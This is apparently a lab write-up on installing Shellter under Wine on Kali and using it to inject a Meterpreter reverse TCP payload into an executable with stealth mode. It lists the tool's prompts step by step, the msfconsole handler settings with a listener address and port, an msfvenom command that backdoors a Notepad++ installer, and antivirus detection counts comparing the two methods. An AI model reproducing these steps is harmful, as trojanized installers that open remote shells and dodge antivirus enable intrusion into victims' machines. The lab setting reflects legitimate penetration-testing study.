Installing and Using Shellter

Shellter modifies executables using dynamic shellcode injection. I recorded how I installed and used it, and what I observed in a Windows 7 VM.

# Shellter installation

I ran Shellter under Wine on Kali. The setup needed i386 support and the corresponding dependencies. The screenshots show a root session.

1. Enable the i386 architecture, refresh the package index and install the Wine dependency:

   dpkg --add-architecture i386 && apt update && apt -y install wine32

2. Install Shellter with apt install shellter .

# Using Shellter

I used automatic mode to inject Meterpreter_Reverse_TCP into the test executable. The following section records the prompts shown by the tool.

1. I entered shellter at the command line to start the tool.
2. I entered A (or a) for automatic mode.
3. At the PE Target prompt I supplied the path to the test executable.

4. I answered Y at the Enable Stealth Mode? prompt.

5. I entered L to use one of the listed payloads.
6. I chose option 1, Meterpreter_Reverse_TCP.

7. I entered the listener’s IP address and port.

8. When the screen showed Injection: Verified! I pressed Enter to finish.

The tool replaced the file at the original path without changing its name. In this environment it saved the original under /root/Shellter_Backups/ .

# Execution and detection

# Execution

I transferred the processed file to the Windows 7 x64 guest, opened msfconsole on Kali and used the following settings for the listener:

• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set LHOST 192.168.158.139
• set LPORT 4444
• run

Running the test program resulted in a connection and a Meterpreter session.

# Detection results

The Windows 7 x64 guest was running 360. There was no warning during the initial file check or immediately after the session opened. The alert below appeared roughly a minute later.

That delay did not mean the sample had escaped detection. A repeat encounter seemed to trigger the alert sooner, but this experiment wasn’t enough to establish a typical response time.

I also submitted the sample to VirusTotal. In the captured report, 31 of 70 engines flagged it. Report

For comparison I tested another sample made from the same host program and payload using the msfvenom template approach.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.158.139 LPORT=4444 -x npp.8.1.4.Installer.exe -f exe > mp_npp.exe

The second report recorded 40 detections out of 70. Report

Fewer engines flagged the Shellter sample in these reports. Both samples were detected by multiple engines.

This was one experiment with Shellter. A single comparison cannot establish how effective a tool is; engines and their definitions change.